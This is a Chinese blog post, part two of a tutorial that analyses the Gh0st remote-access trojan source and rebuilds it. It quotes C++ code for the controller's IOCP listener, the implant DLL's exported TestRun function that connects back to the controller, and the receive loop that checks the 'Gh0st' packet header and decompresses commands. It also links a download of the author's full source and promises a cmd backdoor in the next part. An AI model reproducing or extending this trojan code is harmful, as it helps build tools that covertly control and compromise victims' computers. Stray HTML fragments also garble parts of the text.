阿八博客
  • 100000+

    文章

  • 23

    评论

  • 20

    友链

  • 最近新加了很多技术文章,大家多来逛逛吧~~~~
  • 喜欢这个网站的朋友可以加一下QQ群,我们一起交流技术。

gh0st源码分析与远控的编写(二)

欢迎来到阿八个人博客网站。本 阿八个人博客 网站提供最新的站长新闻,各种互联网资讯。 喜欢本站的朋友可以收藏本站,或者加QQ:我们大家一起来交流技术! URL链接:https://www.abboke.com/rz/2019/1010/116831.html

p0" style="text-indent:21.0000pt;">上次说了那么多,基本上就是一个叫“大局观”的东西,只有脑子里有了一个软件的设计、运行思路,才能把一个一个类写出来,组合在一起。

p0" style="text-indent:21.0000pt;">Gh0st的作者是一个对代码有很好掌控的人,他对代码的组合,类之间的关系,面向对象的思想有很深入的理解。而对我们看源码的人来说,这种结构化、条理化的程序,阅读起来十分轻松,思路也十分清晰。

p0" style="text-indent:21.0000pt;">废话不多说,我们今天来看一下gh0st的上线。所谓上线,就是我们被控端启动起来,并主动连接我们主控端,建立起TCP连接以后,主控端就可以通过相关命令来操作被控端了,这就是一台“肉鸡”的上线。

p0" style="text-indent:21.0000pt;">上线以后,主控端就获取到被控端计算机的相关信息,如下图:

p0" style="text-indent:21.0000pt;">20130510_173119.jpg

p0" style="text-indent:21.0000pt;">

p0" style="text-indent:21.0000pt;">界面就是完全按照老狼的gh0st教程中的界面设计的。我们打开源码,看看上线,gh0st是怎么处理的。

p0" style="text-indent:21.0000pt;">以后每次文章,我会把我的源码发上来,大家看我的源码就可以了。这里先简洁地介绍一下我的源码。有如下一些文件。

20130510_173300.jpg


p0" style="text-indent:21.0000pt;">这是一个解决方案,其中:MainDll是被控端,一个动态链接库的工程;DLLTest是加载dll的普通控制台工程;PhRemote是主控端工程,MFC的界面。Bin是我们输出文件夹,编译好的文件会在其中,其中又有两个文件夹,PhRemote是主控端,server是被控端,server中放着exe和dll,点击exe就算启动了被控端。Common中放着三个工程都可能用到的文件。

p0" style="text-indent:21.0000pt;">

p0" style="text-indent:21.0000pt;">回到代码上。在主控端方面,首先我们开启了一个端口(80),来等待被控端的连接。这些工作由Activate函数完成(在PhRemote中搜索该函数找到它):

brush: cpp;auto-links: false;">void CPhRemoteDlg::Activate(UINT uPort, UINT nMaxConnect){CString str;if (m_iocpServer != NULL){m_iocpServer->Shutdown();delete m_iocpServer;}m_iocpServer = new CIOCPServer();if (m_iocpServer->Initialize(NotifyProc, this, nMaxConnect, uPort)){char hostname[256]; gethostname(hostname, sizeof(hostname));HOSTENT *host = gethostbyname(hostname);if (host != NULL){ for ( int i=0; ; i++ ){ str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);if ( host->h_addr_list[i] + host->h_length >= host->h_name )break;str += "/";}}str.Format("监听端口: %d成功", uPort);AddInfoList(TRUE, str);}else{str.Format("监听端口: %d失败”, uPort);AddInfoList(FALSE, str);}}

    

p0" style="text-indent:21.0000pt;">首先,变量m_iocpServer,这是我们上次说到的gh0st数据传输使用的CIOCPServer类对象,m_iocpServer = new CIOCPServer(),为它在堆上分配内存。以后我们的数据传输,都使用该对象来完成。

p0" style="text-indent:21.0000pt;">之后我们调用了该对象一个成员函数:m_iocpServer->Initialize(NotifyProc, this, nMaxConnect, uPort),我们右键 - 转到定义,可以查看到在CIOCPServer函数的定义。

p0" style="text-indent:21.0000pt;">大概就是初始化socket套接字的一个过程:WSASocket > WSACreateEvent > WSAEventSelect > bind > listen > 进入监听线程。这已经是socket编程的一个基础了,我就不多讲。不过,其中用到了Event这个概念,这是完成端口模型中用到的概念。大家可以自己网上搜索一些异步IO模型的相关资料学习。

p0" style="text-indent:21.0000pt;">在m_iocpServer->Initialize函数执行完成后,等于说已经开始监听80端口了。这个if语句中有一个for循环,该循环并没有用上,到此为止我也不知道老狼的源码中为什么会有这样一段。它的作用是获取本机在所有网段下的ip地址,以/分隔。

p0" style="text-indent:21.0000pt;">最后,监听成功或失败则向下面一个ListCtrl中增加一条信息。

p0" style="text-indent:21.0000pt;">

p0" style="text-indent:21.0000pt;">好,我们在转向被控端,就是那个dll工程。我们这个DLL只有一个导出函数,就是TestRun,执行了这个函数,等于开启了被控端。找到该函数:

brush: cpp;auto-links: false;">extern "C" __declspec(dllexport) void TestRun(char* strHost,int nPort ){strcpy_s(g_strHost, _countof(g_strHost),strHost);//保存上线地址g_dwPort = nPort;//保存上线端口HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);  //这里等待线程结束WaitForSingleObject(hThread, INFINITE);CloseHandle(hThread);}

p0" style="text-indent:21.0000pt;">该函数有两个参数,分别是主控端的IP和端口。如果不知道IP和端口,我们也不能向主控端发起连接,不是吗?

p0" style="text-indent:21.0000pt;">本函数实际上是开启了一个线程,执行main函数。打开main函数,我只找关于上线的相关代码:

p0" style="text-indent:21.0000pt;">首先声明了一个CClientSocket socketClient;对象,我之前说了,被控端的数据传输,由CClientSocket类完成。

p0" style="text-indent:21.0000pt;">之后:

brush: cpp;auto-links: false;">if (!socketClient.Connect(lpszHost, dwPort))    {bBreakError = CONNECT_ERROR;       //---连接错误跳出本次循环continue;    }

p0" style="text-indent:21.0000pt;">之后调用了socketClient.Connect函数(参数依旧是主控端的IP和端口),从字面意思就可以猜到是由它来连接我们的主控端。于是,右键 - 转到定义,找到该函数。

p0" style="text-indent:21.0000pt;">其中可能涉及到sock5代理,Negle算法等复杂的过程,我就不展开了。你只要知道,调用了socketClient.Connect函数,我们就连接了主控端的80端口。

p0" style="text-indent:21.0000pt;">在socketClient.Connect函数的最后,我们看到,它又开启了一个线程,执行WorkThread函数,跟进此函数看:

brush: cpp;auto-links: false;">DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)   {CClientSocket *pThis = (CClientSocket *)lparam;charbuff[MAX_RECV_BUFFER];fd_set fdSocket;FD_ZERO(&fdSocket);FD_SET(pThis->m_Socket, &fdSocket);while (pThis->IsRunning())                //---如果主控端没有退出,就一直陷在这个循环中{fd_set fdRead = fdSocket;int nRet = select(NULL, &fdRead, NULL, NULL, NULL);   //---这里判断是否断开连接if (nRet == SOCKET_ERROR)      {pThis->Disconnect();break;}if (nRet > 0){memset(buff, 0, sizeof(buff));int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);     //---接收主控端发来的数据if (nSize <= 0){pThis->Disconnect();//---接收错误处理break;}if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);    //---正确接收就调用OnRead处理}}return -1;}

p0" style="text-indent:21.0000pt;">看注释就很清楚了。不多说,类似于一个select选择模型,来循环接受主控端发来的信息。正确接受信息,就调用OnRead处理,所以我们跟进OnRead函数。该函数注释写的很详细,有一点我要说明。

p0" style="text-indent:21.0000pt;">被控端与主控端通信,每条信息有一个数据头,我们来到CClientSocket类的构造函数,可以看到以下赋值:

p0" style="text-indent:21.0000pt;">BYTE bPacketFlag[] = {'G', 'h', '0', 's', 't'};

p0" style="text-indent:21.0000pt;">memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));

p0" style="text-indent:21.0000pt;">m_bPacketFlag这也就是我们的数据头。相当于一个确认的作用,发来的包的前五个字节必须是"Gh0st",否则就丢弃此包,抛出一个错误。

p0" style="text-indent:21.0000pt;">它是这样处理的:

brush: cpp;auto-links: false;">BYTE bPacketFlag[FLAG_SIZE];CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)    throw "bad buffer";

p0" style="text-indent:21.0000pt;">FLAG_SIZE就是5,表示数据头大小5字节。首先copymemory,把前5字节从数据包中拷贝出来,再用memcmp比较是否是“Gh0st”,不是则throw出错误。

p0" style="text-indent:21.0000pt;">再往下看,第6-9个字节(一个int的大小),保存的是数据包的大小。

brush: cpp;auto-links: false;">int nSize = 0;CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));//--- 判断数据的大小if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize){...}
    

p0" style="text-indent:21.0000pt;">用CopyMemory拷贝出该数,nSize是拷贝出来的数据包大小,这是压缩后的数据包的大小。如果不出意外,进入if语句。If语句中,我们看到三个read:

p0">m_CompressionBuffer.Read((PBYTE) bPacketFlag, sizeof(bPacketFlag));

p0">m_CompressionBuffer.Read((PBYTE) &nSize, sizeof(int));

p0">m_CompressionBuffer.Read((PBYTE) &nUnCompressLength, sizeof(int));

p0" style="text-indent:21.0000pt;">分别读的就是数据头(Gh0st),数据包大小,压缩前大小。之后还有一个read:

p0" style="margin-left:21.0000pt;text-indent:21.0000pt;">m_CompressionBuffer.Read(pData, nCompressLength);

p0" style="text-indent:21.0000pt;">这就是读的数据了。所以说算一下,数据头5字节,两个int,8字节,一共13个字节,相当于是数据包的header部分,而从第14字节开始,就是真正的数据包了。

p0" style="text-indent:21.0000pt;">我们调用uncompress函数,解压缩数据包,得到需要的数据。Gh0st利用解压成功与否,判断一个数据包的好坏。如果解压成功,则执行OnReceive函数:

brush: cpp;auto-links: false;">if (nRet == Z_OK)//---如果解压成功{    m_DeCompressionBuffer.ClearBuffer();    m_DeCompressionBuffer.Write(pDeCompressionData, destLen);    //调用m_pManager->OnReceive函数    m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());}else    throw "bad buffer";


p0" style="text-indent:21.0000pt;">OnReceive函数在CManager中定义,但并未实现(一个虚函数)。

p0" style="text-indent:21.0000pt;">我们看m_pManager,它其实是一个CManager类对象。由于多态的存在,在不同的情况下,它会指向不同的代码,执行不同的任务。(我觉得这是gh0st源码中面向对象的精髓所在)

p0" style="text-indent:21.0000pt;">它到底有什么用呢?下次我会给大家实现cmd后门的功能,到时候你就知道这个点的用处所在了。

p0" style="text-indent:21.0000pt;">【本文源码及doc下载:http://vdisk.weibo.com/s/u9oF-vwNrwpw4】


相关文章